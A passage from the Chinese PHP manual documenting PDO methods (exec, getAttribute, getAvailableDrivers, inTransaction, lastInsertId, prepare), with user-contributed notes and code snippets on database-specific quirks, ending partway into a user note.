要被预处理和执行的 SQL 语句。

查询中的数据应正确转义。

返回值

PDO::exec() 返回 SQL 语句修改或删除影响的行数。如果没有受影响的行，则 PDO::exec() 返回 0。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

下列示例错误依赖 PDO::exec() 的返回值，其中受影响行数为 0 的语句会导致调用 die()：

<?php
$db->exec() or die(print_r($db->errorInfo(), true)); // 错误
?>

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 发出 DELETE 语句

计算不带 WHERE 子句的 DELETE 语句删除的行数。

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

/* 删除 FRUIT 数据表中满足条件的所有行 */
$count = $dbh->exec("DELETE FROM fruit");

/* 返回被删除的行数 */
print "Deleted $count rows.\n";
?>

以上示例会输出：

Deleted 1 rows.

参见

  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDO::query() - 预处理并执行没有占位符的 SQL 语句
  • PDOStatement::execute() - 执行预处理语句

User Contributed Notes

Sbastien 13-Sep-2022 03:21
Note that with MySQL you can detect a DUPLICATE KEY with INSERT (1 = INSERT, 2 = UPDATE) :

<?php

// MySQL specific INSERT UPDATE-like syntax
$sql = <<<SQL
    INSERT INTO customers
    SET
        id = {$pdo->quote($id)},
        name = {$pdo->quote($name)},
        address = {$pdo->quote($address)}
        AS new
    ON DUPLICATE KEY UPDATE
        name = new.name,
        address = new.address
    SQL;

$result = $pdo->exec($sql);

if ($result === 1) {
    // An INSERT of a new row has be done
} elseif ($result === 2) {
    // An UPDATE of an existing row has be done
}
calin at NOSPAM dot softped dot com 16-Oct-2015 11:20
PDO::eval() might return `false` for some statements (e.g. CREATE TABLE) even if the operation completed successfully, when using PDO_DBLIB and FreeTDS. So it is not a reliable way of testing the op status.

PDO::errorInfo() can be used to test the SQLSTATE error code for '00000' (success) and '01000' (success with warning).

<?php
function execute(PDO $conn, $sql) {
    $affected = $conn->exec($sql);
    if ($affected === false) {
        $err = $conn->errorInfo();
        if ($err[0] === '00000' || $err[0] === '01000') {
            return true;
        }
    }
    return $affected;
}
?>

PDO::errorInfo(): http://php.net/manual/en/pdo.errorinfo.php
List of SQLSTATE Codes: http://www-01.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqls.doc/ids_sqs_0809.htm
hungry dot rahly at gmail dot com 10-Nov-2010 05:24
For those that want an exec that handles params like prepare/execute does.  You can simulate this with another function

<?php
class Real_PDO extends PDO {
  public function execParams($sql, $params) {
    $stm = $this->prepare($sql);
    $result = false;
    if( $stm && $stm->execute($params) ) {
      $result = $stm->rowCount();
      while( $stm->fetch(PDO::FETCH_ASSOC) ) {
      }
    }
    return $result;
  }
}
?>

Remember though, if you are doing a lot of inserts, you'll want to do it the manual way, as the prepare statement will speed up when doing multiple executes(inserts).  I use this so I can place all my SQL statements in one place, and have auto safe quoting against sql-injections.

If you are wondering about the fetch after, remember some databases can return data SELECT-like data from REMOVE/INSERTS.  In the case of PostgreSQL, you can have it return you all records that were actually removed, or have the insert return the records after the insert/post field functions, and io trigger fire, to give you normalized data.

<?php
define("BLAH_INSERT", "INSERT INTO blah (id,data) VALUES(?,?)");
$pdo = new Real_PDO("connect string");
$data = array("1", "2");
$pdo->execParams(BLAH_INSERT, $data);
?>
blah at whatevr dot com 05-Sep-2007 08:07
You can't use it not only with SELECT statement, but any statement that might return rows. "OPTIMIZE table" is such example (returns some rows with optimization status).

If you do, PDO will lock-up with the "Cannot execute queries while other unbuffered queries are active." nonsense.
roberto at spadim dot com dot br 18-Dec-2006 11:47
this function don't execute multi_query
to get it see SQLITE_EXEC comments there is an pereg function that get all queries and execute all then an return the last one
soletan at toxa dot de 29-Aug-2006 01:40
It's worth noting here, that - in addition to the hints given in docs up there - using prepare, bind and execute provides more benefits than multiply querying a statement: performance and security!

If you insert some binary data (e.g. image file) into database using INSERT INTO ... then it may boost performance of parsing your statement since it is kept small (a few bytes, only, while the image may be several MiBytes) and there is no need to escape/quote the file's binary data to become a proper string value.

And, finally and for example, if you want to get a more secure PHP application which isn't affectable by SQL injection attacks you _have to_ consider using prepare/execute on every statement containing data (like INSERTs or SELECTs with WHERE-clauses). Separating the statement code from related data using prepare, bind and execute is best method - fast and secure! You don't even need to escape/quote/format-check any data.
david at acz dot org 09-Feb-2006 04:39
This function cannot be used with any queries that return results.  This includes SELECT, OPTIMIZE TABLE, etc.


取回一个数据库连接的属性

  • ? PDO::exec
  • PDO::getAvailableDrivers ?
  • PHP Manual
  • PDO
  • 取回一个数据库连接的属性

PDO::getAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDO::getAttribute — 取回一个数据库连接的属性

说明

public PDO::getAttribute(int $attribute): mixed

此方法返回数据库连接属性的值。要检索 PDOStatement 属性，请参阅 PDOStatement::getAttribute()。

注意有些数据库/驱动可能不支持所有的数据库连接属性。

参数

attribute

PDO::ATTR_* 常量之一。下列为应用到数据库连接中的通用属性：

  • PDO::ATTR_AUTOCOMMIT
  • PDO::ATTR_CASE
  • PDO::ATTR_CLIENT_VERSION
  • PDO::ATTR_CONNECTION_STATUS
  • PDO::ATTR_DRIVER_NAME
  • PDO::ATTR_ERRMODE
  • PDO::ATTR_ORACLE_NULLS
  • PDO::ATTR_PERSISTENT
  • PDO::ATTR_PREFETCH
  • PDO::ATTR_SERVER_INFO
  • PDO::ATTR_SERVER_VERSION
  • PDO::ATTR_TIMEOUT

一些驱动程序可能会使用额外的特定驱动程序属性。请注意，特定驱动程序的属性不能与其它驱动程序一起使用。

返回值

成功调用则返回请求的 PDO 属性值。不成功则返回 null。

示例

Example #1 取回数据库连接属性

<?php
$conn = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');
$attributes = array(
"AUTOCOMMIT", "ERRMODE", "CASE", "CLIENT_VERSION", "CONNECTION_STATUS",
"ORACLE_NULLS", "PERSISTENT", "PREFETCH", "SERVER_INFO", "SERVER_VERSION",
"TIMEOUT"
);

foreach ($attributes as $val) {
echo "PDO::ATTR_$val: ";
echo $conn->getAttribute(constant("PDO::ATTR_$val")) . "\n";
}
?>

参见

  • PDO::setAttribute() - 设置属性
  • PDOStatement::getAttribute() - 检索语句属性
  • PDOStatement::setAttribute() - 设置一个语句属性

User Contributed Notes

Phil Hilton 15-Jun-2018 01:54
Better example that handles unsupported attributes gracefully:

<?php

$conn = new PDO( 'odbc:sample', 'db2inst1', 'ibmdb2' );
$conn->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );

$attributes = array(
    "AUTOCOMMIT", "ERRMODE", "CASE", "CLIENT_VERSION", "CONNECTION_STATUS",
    "ORACLE_NULLS", "PERSISTENT", "PREFETCH", "SERVER_INFO", "SERVER_VERSION",
    "TIMEOUT"
);

foreach ( $attributes as $val ) {
    echo "PDO::ATTR_$val: ";
    try {
        echo $conn->getAttribute( constant( "PDO::ATTR_$val" ) ) . "\n";
    } catch ( PDOException $e ) {
        echo $e->getMessage() . "\n";
    }
}

?>
Robert Parham 02-Sep-2015 06:45
Oracle does not have the following attributes:

PDO::ATTR_CONNECTION_STATUS: SQLSTATE[IM001]: Driver does not support this function: driver does not support that attribute
PDO::ATTR_PREFETCH: SQLSTATE[IM001]: Driver does not support this function: driver does not support that attribute
PDO::ATTR_TIMEOUT: SQLSTATE[IM001]: Driver does not support this function: driver does not support that attribute

The rest work fine.


返回一个可用驱动的数组

  • ? PDO::getAttribute
  • PDO::inTransaction ?
  • PHP Manual
  • PDO
  • 返回一个可用驱动的数组

PDO::getAvailableDrivers

pdo_drivers

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 1.0.3)

PDO::getAvailableDrivers -- pdo_drivers — 返回一个可用驱动的数组

说明

public static PDO::getAvailableDrivers(): array
pdo_drivers(): array

此方法返回所有当前可用在 PDO::__construct() 的 DSN 参数中的 PDO 驱动。

参数

此函数没有参数。

返回值

PDO::getAvailableDrivers() 返回包含可用 PDO 驱动名字的数组。如果没有可用的驱动，则返回空数组。

示例

Example #1 PDO::getAvailableDrivers() 示例

<?php
print_r(PDO::getAvailableDrivers());
?>

以上示例的输出类似于：

Array
(
    [0] => mysql
    [1] => sqlite
)

User Contributed Notes

iabdullah 07-Aug-2014 07:31
Since the method is a static, one practice is using it to check whether a specific server database driver is available and configured correctly with PDO before establishing the connection:
<?php
try {
    if (!in_array("mysql",PDO::getAvailableDrivers(),TRUE))
    {
        throw new PDOException ("Cannot work without a proper database setting up");
    }
}
catch (PDOException $pdoEx)
{
    echo "Database Error .. Details :<br /> {$pdoEx->getMessage()}";
}
?>
or to check for any driver in general:
<?php
    if (empty(PDO::getAvailableDrivers()))
    {
        throw new PDOException ("PDO does not support any driver.");
    }
?>


检查是否在事务内

  • ? PDO::getAvailableDrivers
  • PDO::lastInsertId ?
  • PHP Manual
  • PDO
  • 检查是否在事务内

PDO::inTransaction

(PHP 5 >= 5.3.3, Bundled pdo_pgsql, PHP 7, PHP 8)

PDO::inTransaction — 检查是否在事务内

说明

public PDO::inTransaction(): bool

检查驱动内的事务当前是否处于激活。此方法仅对支持事务的数据库驱动起作用。

参数

此函数没有参数。

返回值

如果当前事务处于激活，则返回 true ，否则返回 false 。

User Contributed Notes

dennis 03-Oct-2022 12:07
At least for MySQL/MariaDB, inTransaction shows the real state of the transaction since 8.0
Anonymous 10-Aug-2020 07:27
In addition to what jlh says,
even with SQLite3 which automatically starts transaction,
inTransaction() only works after beginTransaction().

<?php
try{

    $pdo = new PDO('sqlite:test.sql3', null, null, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
    var_dump($pdo->inTransaction());echo "<br>";    // bool(false) : before beginTransaction()
    $pdo->beginTransaction();
    var_dump($pdo->inTransaction());echo "<br>";    // bool(true)  : after beginTransaction()
    $pdo->rollBack();
    var_dump($pdo->inTransaction());echo "<br>";    // bool(false) : after commit() or rollBack()

}catch (PDOException $e){

    echo 'PDOException: ' . $e->getMessage();

}catch (Exception | ErrorException $e){

    var_dump($e);

}
jlh 05-Jun-2020 02:50
Important note: This will only detect whether a transaction has been started using beginTransaction(). It will not be able to detect transactions started by any other means, for example by executing "START TRANSACTION".


返回最后插入行的ID或序列值

  • ? PDO::inTransaction
  • PDO::prepare ?
  • PHP Manual
  • PDO
  • 返回最后插入行的ID或序列值

PDO::lastInsertId

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::lastInsertId — 返回最后插入行的ID或序列值

说明

public PDO::lastInsertId(?string $name = null): string|false

返回最后插入行的 ID，或者是序列对象最后的值，取决于底层的驱动。比如，PDO_PGSQL 允许为 name 参数指定任何序列对象的名称。

Note:

在不同的 PDO 驱动之间，此方法可能不会返回有意义或一致的结果，因为底层数据库可能不支持自增字段或序列的概念。

参数

name

应该返回 ID 的序列对象的名称。

返回值

如果没有为参数 name 指定序列名称，PDO::lastInsertId() 返回表示最后插入数据库行的 ID 的字符串。

如果为参数 name 指定了序列名称，PDO::lastInsertId() 则返回表示从指定序列对象取回最后的值的字符串。

如果当前 PDO 驱动不支持此功能，则 PDO::lastInsertId() 触发一个 IM001 SQLSTATE 。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

User Contributed Notes

phpmanual at NOSPAM dot headbank dot co dot uk 10-Dec-2021 06:27
MySQL/MariaDB users, be aware that although this function returns a string, leading zeroes are NOT preserved if your column has ZEROFILL property.
nafsinvk at gmail dot com 25-Dec-2018 07:06
$dbh->commit();
print $dbh->lastInsertId();
The above will always return zero (0)
So it is important to call $dbh->lastInsertId();  before commiting transaction

the above should be modified as
print $dbh->lastInsertId();
$dbh->commit();
phackwer at gmail dot com 23-Jul-2018 07:41
On version 7.0.9 I've implemented lastInsertId without having to name the sequence for PostgreSQL (I've also have done it for 5.6.can'trememberthenumber, but I can't find the PR).

Can someone update the documentation about it?

Here is the Pull Request: https://github.com/php/php-src/pull/2014
toinenkayt (ta at ta) [iwonderr] gmail d 11-Dec-2017 12:26
To save time for some of you.

When using MySQL or MariaDB while inserting multiple rows in a single query (INSERT INTO table (a,b,c) VALUES (1,2,3), (2,3,4), ...) to a table with auto_increment column, PDO::lastInsertId does NOT return the autogenerated id of the last row. Instead, the FIRST generated id is returned. This may very well be explained by taking a look at MySQL and MariaDB's documentation.

Quotations from their respective documentations,

MySQL:
"With no argument, LAST_INSERT_ID() returns a BIGINT UNSIGNED (64-bit) value representing the first automatically generated value successfully inserted for an AUTO_INCREMENT column as a result of the most recently executed INSERT statement."

MariaDB:
"LAST_INSERT_ID() (no arguments) returns the first automatically generated value successfully inserted for an AUTO_INCREMENT column as a result of the most recently executed INSERT statement."

This is clearly not what lastInsertId's own documentation states. Hopefully this will save someone from debugging the cause of id mismatch.

tl;dr (MySQL | Mariadb) + multi row insert + PDO::lastInsertId = first autogenerated id

Behaviour tested using MariaDB 10.2.6 32-bit, PHP 5.6.31 32-bit and mysqlnd 5.0.11 running on windows 7.
timer timer five at gmail dot com 08-Feb-2017 05:26
About the connections created through classes

eg: db::SQL()->query();
then db::SQL()->lastInsertId();

it will create a new connection and will not return the last ID inserted. it is better to include a PDO connection file (or directly the logins) and work with it to get the last ID properly.

$db = new PDO(logins);
$db->query();
$db->lastInsertId();
enclaved 20-Dec-2016 11:23
WARNING for PostgreSQL users! In response to the comment by ed at hicklinslade dot com, who wrote:

...
$last_insert_id = $objPDO->lastInsertId("$strTable_id_seq);

This does appear to function as expected. What is a little unclear to me is whether this simply returns the current value of the sequence; if it does, this isn't a particularly reliable indicator as to the id of the record your code just inserted, especially if your site or application is especially high traffic.
...

NEVER ever use lastInsertId() with PostgreSQL sequences, ESPECIALLY when your application's insert/update load is high. PostgreSQL sequences are non-transactional (a natural design feature to avoid exclusive locking which otherwise produces unacceptable performance). This means that any concurrent transaction incrementing the same sequence will render the value returned by lastInsertId() invalid with respect to the last insert by your transaction. Example:

Transaction 1 inserts with nextval('some_seq') yielding 100;
Concurrent transaction 2 inserts with nextval('some_seq') yielding 101;
Transaction 1 calls lastInsertId(), expecting 100, BUT GETS 101.

This PDO method is braindead for PostgreSQL, always use INSERT ... RETURNING instead. Regards.
pippi langstrumpf 20-Jun-2016 12:18
beware when mixing auto-incremented and explicit IDs!
Given a fresh table "tbl", executing

insert into tbl values (0, 'kaeptn blaubaer'); --auto increment (-> 1)
insert into tbl values (16, 'pipi langstrumpf'); --explicit id (-> 16)
select LAST_INSERT_ID();

will return 1, which is not the value of the last insert. its the value from the last auto-increment insert!

(using mysql)
voilethht at gmail dot com 23-Sep-2015 08:49
In the Return Values part:

If the PDO driver does not support this capability, PDO::lastInsertId() triggers an IM001 SQLSTATE.
--------------------------------------------------------------------------------

So what's the solution for this....?
And I got this error:
-------------------------------------------------------------------------------
PHP Warning:  PDO::lastInsertId(): SQLSTATE[IM001]: Driver does not support this function: driver does not support lastInsertId() in xxxx
-------------------------------------------------------------------------------
I'm using IBM db2 odbc driver...
mattbridges at me dot com 07-Oct-2013 08:33
@nour

You need to call lastInsertId before you commit
nick dot barton at libersys dot co dot uk 02-Jan-2013 02:34
Easiest solution I've found for MSSQL to obtain the last inserted ID is

<?php
$STH = $DBH->query("SELECT CAST(COALESCE(SCOPE_IDENTITY(), @@IDENTITY) AS int)");
$STH->execute();
$result = $STH->fetch();
print $result[0];
?>
noel dot mcavoy at gmail dot com 13-Sep-2012 07:23
This function is now compatible with the newer MS SQL driver. http://msdn.microsoft.com/en-us/library/ff628155(v=sql.105)
spark at limao dot com dot br 22-Feb-2012 01:24
Remember, if you use a transaction you should use lastInsertId BEFORE you commit
otherwise it will return 0
warezthebeef at gmail dot com 29-Aug-2011 11:04
If you're accessing MSSQL/SQL Server 2008 R2 (or higher) from Linux via FreeTDS there's a slightly neater way of getting the last insert ID than the solution(s) outlined below.

The specific SQL involved is outlined here:

http://msdn.microsoft.com/en-us/library/ms177564.aspx

So for example, with a table containing the two columns (product_id, product_name) where product_id is a uniqueidentifier or something similar you could do the following.

<?php

// Assume $dbh connection handle is already established

$sql = "INSERT INTO product (product_name) OUTPUT INSERTED.product_id VALUES (?)";

$sth = $dbh->prepare($sql);

$sth->execute(array('widgets'));

$temp = $sth->fetch(PDO::FETCH_ASSOC);

?>

Then $temp will contain an array like:

Array
(
    [product_id] => E1DA1CB0-676A-4CD9-A22C-90C9D4E81914
)

Just be warned that there are some issues relating to how uniqueidentifier columns are handled by PDO_DBLIB/FreeTDS depending on the TDS version you choose that have only been fixed as of PHP 5.3.7.

Information regarding this and the patch can be found here:

https://bugs.php.net/bug.php?id=54167
ruben02 at hotmail dot com 24-Feb-2011 07:48
I think I get a nice solution in Postgres to get the ID using the RETURNING that comes with Postgress since version 8.2. In the example below, I add to my insert clause the "returning" along with the primary key of my table, then after the execute, I do a fetch getting an array with the value of the last inserted id.

<?php
    public function insert($employee){

        $sqlQuery = "INSERT INTO employee(user_id,name,address,city) VALUES(:user_id,:name,:address,:city) RETURNING employee_id";

        $statement = $this->prepare($sqlQuery);

        $a ="2002-03-11 12:01AM" ;

        $statement->bindParam(":user_id", $employee->getUserId(), PDO::PARAM_INT);
        $statement->bindParam(":name", $employee->getName(), PDO::PARAM_STR);
        $statement->bindParam(":address", $employee->getAddress(), PDO::PARAM_STR);
        $statement->bindParam(":city", $employee->getCity(), PDO::PARAM_STR);
        $statement->execute();

        $result = $statement->fetch(PDO::FETCH_ASSOC);
        return $result["employee_id"];

    }
?>
info at nospam dot timreeves dot de 11-Dec-2008 12:03
Workaround for the fact that MSSQL does not provide lastInsertId().  This is locale-independent by design.

<?php
$mixRc = false;
try {
    // Issue a compound command, 2nd part outputs the inserted Id
    $strQuery =
    'INSERT INTO t1 (f1,f2) VALUES(v1,v2); SELECT @@IDENTITY AS mixLastId';
    // Yup, your eyes are ok, NOT exec but query!!!
    $objSth = $objDb->query($strQuery);
    $mixRc = (is_object($objSth) and $objSth->errorCode() == '00000');
}
catch (PDOException $objException) {
    $pdoMsg = $objException->getMessage();
    $pdoMsg = iconv("ISO-8859-1", "UTF-8", $pdoMsg);
    $strMessage = 'insertRecord: Failed ' .
                  $strQuery . ', Error Message: ' . $pdoMsg;
    doLog(__FILE__, __LINE__, $strMessage);
    throw new core_exception_database($strMessage);
}
if ($mixRc === false) return false;

// The compound command delivers a multi-rowset statement handle
// Move past the first (invalid) rowset from the INSERT command
$objSth->nextRowset();
// Pick up the first row of the rowset from "SELECT @@IDENTITY"
$rowTd = $objSth->fetch(PDO::FETCH_NUM);
if (!is_array($rowTd)) {
    doLog(__FILE__, __LINE__,
        'insertRecord: $objSth->fetch() returns %s', gettype($rowTd));
    return false;
}
$objSth->closeCursor();
$strLastRowId = trim($rowTd[0]); // trim() for trailing Nullbyte
// Integers are returned stringified, format depends on locale
// Generally ends with ",00" or ".00" - trim that off
$strLastRowId = preg_replace('/[,.]0+$/', '', $strLastRowId);
// Remove any remaining "." or "," for thousands
$strLastRowId = preg_replace('/[,.]/', '', $strLastRowId);
// A GUID, which contains no "," or ".", will be left unchanged
return $strLastRowId;
?>
Alfred Reinold Baudisch 06-Oct-2008 05:21
For PostgreSQL you can still use the old solution to return the last Id of an INSERT, selecting the currval of a table's id_sequence.

The code below shows a working function (which is easy adaptale into another class, etc).

<?php
// -------------------------
// Last Insert ID for PDO with PostgreSQL
// -------------------------
function pgsqlLastInsertId($sqlQuery, $pdoObject)
{
    // Checks if query is an insert and gets table name
    if( preg_match("/^INSERT[\t\n ]+INTO[\t\n ]+([a-z0-9\_\-]+)/is", $sqlQuery, $tablename) )
    {
        // Gets this table's last sequence value
        $query = "SELECT currval('" . $tablename[1] . "_id_seq') AS last_value";

        $temp_q_id = $pdoObject->prepare($query);
        $temp_q_id->execute();

        if($temp_q_id)
        {
            $temp_result = $temp_q_id->fetch(PDO::FETCH_ASSOC);
            return ( $temp_result ) ? $temp_result['last_value'] : false;
        }
    }

    return false;
}

?>

Example of use:

<?php
// ... connects to a PostgreSQL DB
$pdoObject = new PDO('pgsql:host=localhost;dbname=mydb', 'user', 'pass');

$sql = 'INSERT INTO table (column) VALUES (\'some_value\');';
$result = $pdoObject->prepare($sql);
$result->execute();

echo 'Last Insert ID: ' . pgsqlLastInsertId($sql, $pdoObject);

?>
Nour 15-Aug-2008 02:49
Beware of lastInsertId() when working with transactions in mysql. The following code returns 0 instead of the insert id.

<?php
try {
    $dbh = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');

    $stmt = $dbh->prepare("INSERT INTO test (name, email) VALUES(?,?)");

    try {
        $dbh->beginTransaction();
        $tmt->execute( array('user', 'user@example.com'));
        $dbh->commit();
        print $dbh->lastInsertId();
    } catch(PDOExecption $e) {
        $dbh->rollback();
        print "Error!: " . $e->getMessage() . "</br>";
    }
} catch( PDOExecption $e ) {
    print "Error!: " . $e->getMessage() . "</br>";
}
?>

When no exception is thrown, lastInsertId returns 0. However, if lastInsertId is called before calling commit, the right id is returned.
ed at hicklinslade dot com 26-May-2008 09:05
In response to Yonatan Ben-Nes, it does appear that using the latest versions of PHP 5.x and PostgreSQL 8.x, the driver will return a "meaningful" ID (rather than an OID), provided you pass the name of the corresponding sequence.

So, if you created a table as follows:

CREATE TABLE "user" (
"id" SERIAL PRIMARY KEY NOT NULL,
"username" character varying(32)
);

PostgreSQL will (by default) create a sequence called 'user_id_seq'.

You can then do something like:

$strTable = "user":
$last_insert_id = $objPDO->lastInsertId("$strTable_id_seq);

This does appear to function as expected. What is a little unclear to me is whether this simply returns the current value of the sequence; if it does, this isn't a particularly reliable indicator as to the id of the record your code just inserted, especially if your site or application is especially high traffic.
Xavier Arnaus 15-May-2008 10:28
As said by Dennis Du Kroger, in this situation the function will return 0.

But you can retrieve the last inserted Id executing a query asking for the function LAST_INSERT_ID() (at least in MySQL)

Try this:

($o_db is the declared adapter)

$last_id = $o_db->fetchAll('SELECT LAST_INSERT_ID() as last_id');

$last_id = intval($last_id[0]['last_id']);
Steven L 13-May-2008 12:47
This function is not available for MSSQL either.
Yonatan Ben-Nes 17-May-2007 09:05
It should be mentioned that this function DOES NOT retrieve the ID (Primary key) of the row but it's OID instead.

So if you use one of the latest PostgreSQL versions this function won't help you unless you add OID to the table specifically when you create it.
Dennis Du Kr?ger 22-Jan-2007 02:40
It should be noted that, at least for MySQL using InnoDB tables, with transactions PDO will report the last insert id as 0 after the commit, the real ids are only reported before committing.

(As a side note, MySQL keeps the ID number incremented after a rollback).
dave at dtracorp dot com 18-Aug-2006 05:34
in case anyone was wondering
something like

$val = 5;
$sql = "REPLACE table (column) VALUES (:val)";
$stmt = $dbh->prepare($sql);
$stmt->bindParam(':val', $val, PDO::PARAM_INT);
$stmt->execute();
$lastId = $dbh->lastInsertId();

will return the last inserted id, whether the record was replaced or simply inserted

the REPLACE syntax, simply inserts, or deletes > inserts
so lastInsertId() still works

refer to http://mysql.com/doc/refman/5.0/en/replace.html
for REPLACE usage
opik at opik dot ru 20-Dec-2005 06:10
Simple example:
<?php
try {
   $dbh = new PDO('mysql:host=localhost;dbname=test', 'root', 'passowd');

   $smf = $dbh->prepare("INSERT INTO test (`numer`) VALUES (?)");

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId().'<br />';

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId();

   $dbh = null;
} catch (PDOException $e) {
   print "Error!: " . $e->getMessage() . "<br/>";
   die();
}
?>


预处理要执行的语句，并返回语句对象

  • ? PDO::lastInsertId
  • PDO::query ?
  • PHP Manual
  • PDO
  • 预处理要执行的语句，并返回语句对象

PDO::prepare

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PHP 8,PECL pdo >= 0.1.0)

PDO::prepare — 预处理要执行的语句，并返回语句对象

说明

public PDO::prepare(string $query, array $options = []): PDOStatement|false

为 PDOStatement::execute() 方法预处理待执行的 SQL 语句。 语句模板可以包含零个或多个参数占位标记，格式是命名（:name）或问号（?）的形式，当它执行时将用真实数据取代。 在同一个语句模板里，命名形式和问号形式不能同时使用；只能选择其中一种参数形式。 请用参数形式绑定用户输入的数据，不要直接字符串拼接到查询里。

调用 PDOStatement::execute() 时，每一个值的参数占位标记，名称必须唯一。 除非启用模拟（emulation）模式，同一个语句里无法使用重名的参数。

Note:

参数占位符仅能字面上展示完整的数据。不能是字面的一部分，不能是关键词，不能是标识符，不能是其他任意的范围。 举例说明：不能把多个值绑到单个参数里，然后在 SQL 语句里用 IN() 查询。

如果用不同参数，通过 PDO::prepare() 和 PDOStatement::execute() 多次调用同一个 SQL 语句，将提升应用的性能 —— 驱动可以让客户端/服务器缓存查询和元信息。 同时，调用 PDO::prepare() 和 PDOStatement::execute() 还能阻止 SQL 注入攻击，不需要给参数手动加引号与转义。

如果内置驱动不支持参数，PDO 将模拟出参数的功能；如果驱动仅仅支持其中一种风格（命名参数和问号参数两种），也会自动重写到另外一种风格。

Note: The parser used for emulated prepared statements and for rewriting named or question mark style parameters supports the non standard backslash escapes for single- and double quotes. That means that terminating quotes immediately preceeded by a backslash are not recognized as such, which may result in wrong detection of parameters causing the prepared statement to fail when it is executed. A work-around is to not use emulated prepares for such SQL queries, and to avoid rewriting of parameters by using a parameter style which is natively supported by the driver.

自 PHP 7.4.0 起，可以通过两个问号来转义问号。这意味着 ?? 在发送查询到数据库时会转换成 ?。

参数

query

必须是对目标数据库服务器有效的 SQL 语句模板。

options

数组包含一个或多个 key=>value 键值对，为返回的 PDOStatement 对象设置属性。 常见用法是：设置 PDO::ATTR_CURSOR 为 PDO::CURSOR_SCROLL，将得到可滚动的光标。 某些驱动有驱动级的选项，在 prepare 时就设置。

返回值

如果数据库服务器已经成功预处理语句，PDO::prepare() 返回 PDOStatement 对象。 如果数据库服务器无法预处理语句，PDO::prepare() 返回 false 或抛出 PDOException (取决于 错误处理)。

Note:

模拟模式下的预处理语句不会和数据库服务器交互，所以 PDO::prepare() 不会检查语句。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 命名参数形式的 SQL 语句模板

<?php
/* 传入数组的值，并执行已预处理的语句 */
$sql = 'SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour';
$sth = $dbh->prepare($sql, [PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY]);
$sth->execute(['calories' => 150, 'colour' => 'red']);
$red = $sth->fetchAll();
/* Array keys can be prefixed with colons ":" too (optional) */
$sth->execute([':calories' => 175, ':colour' => 'yellow']);
$yellow = $sth->fetchAll();
?>

Example #2 问号形式的 SQL 语句模板

<?php
/* 传入数组的值，并执行已预处理的语句 */
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->execute([150, 'red']);
$red = $sth->fetchAll();
$sth->execute([175, 'yellow']);
$yellow = $sth->fetchAll();
?>

Example #3 问号转义的 SQL 语句模板

<?php
/* note: this is only valid on PostgreSQL databases */
$sth = $dbh->prepare('SELECT * FROM issues WHERE tag::jsonb ?? ?');
$sth->execute(['feature']);
$featureIssues = $sth->fetchAll();
$sth->execute(['performance']);
$performanceIssues = $sth->fetchAll();
?>

参见

  • PDO::exec() - 执行 SQL 语句，并返回受影响的行数
  • PDO::query() - 预处理并执行没有占位符的 SQL 语句
  • PDOStatement::execute() - 执行预处理语句

User Contributed Notes

theking2 at king dot ma 21-Jan-2023 01:42
There are restrictions on the placeholder string. In the following code the first execute fails with a SQLSTATE[HY093]. It is not clear exactly what characters are allowed.

<?php declare(strict_types=1);

$db = new \PDO("mysql:hostname=localhost;dbname=minidwh", "minidwh", "Meisterstueck!");
$db->query("SET NAMES 'utf8mb4'");

$db->query("DROP TABLE IF EXISTS `????ü?`");
$db->query("CREATE TABLE `????ü?` ( `id` INT NOT NULL AUTO_INCREMENT, PRIMARY KEY (`id`) ) ENGINE = ARIA;");
$db->query("ALTER TABLE `????ü?` ADD COLUMN `????ü?` TEXT NULL");
try {
  $stmt = $db->prepare("INSERT INTO `????ü?` (`????ü?`) VALUES (:????ü?)");
  $result = $stmt->execute([':????ü?' => 'test1']);
} catch (\PDOException $e) {
  echo $e->getMessage() . '<BR>';
}

try {
  $stmt = $db->prepare("INSERT INTO `????ü?` (`????ü?`) VALUES (?)");
  $result = $stmt->execute(['test2']);
} catch (\PDOException $e) {
  echo $e->getMessage() . '<BR>';
}

try {
  $stmt = $db->prepare("INSERT INTO `????ü?` (`????ü?`) VALUES (:column)");
  $result = $stmt->execute([':column' => 'test3']);
} catch (\PDOException $e) {
  echo $e->getMessage() . '<BR>';
}

try {
  $stmt = $db->prepare("INSERT INTO `????ü?` (`????ü?`) VALUES (:column)");
  $stmt->bindValue(':column', 'test4');
  $result = $stmt->execute();
} catch (\PDOException $e) {
  echo $e->getMessage() . '<BR>';
}
omidbahrami1990 at gmail dot com 06-Dec-2017 10:09
This Is A Secure Way To Sign in With pdo::prepare
--------------------------------------------------------
<?php
function secured_signin($username,$password)
{
try
{
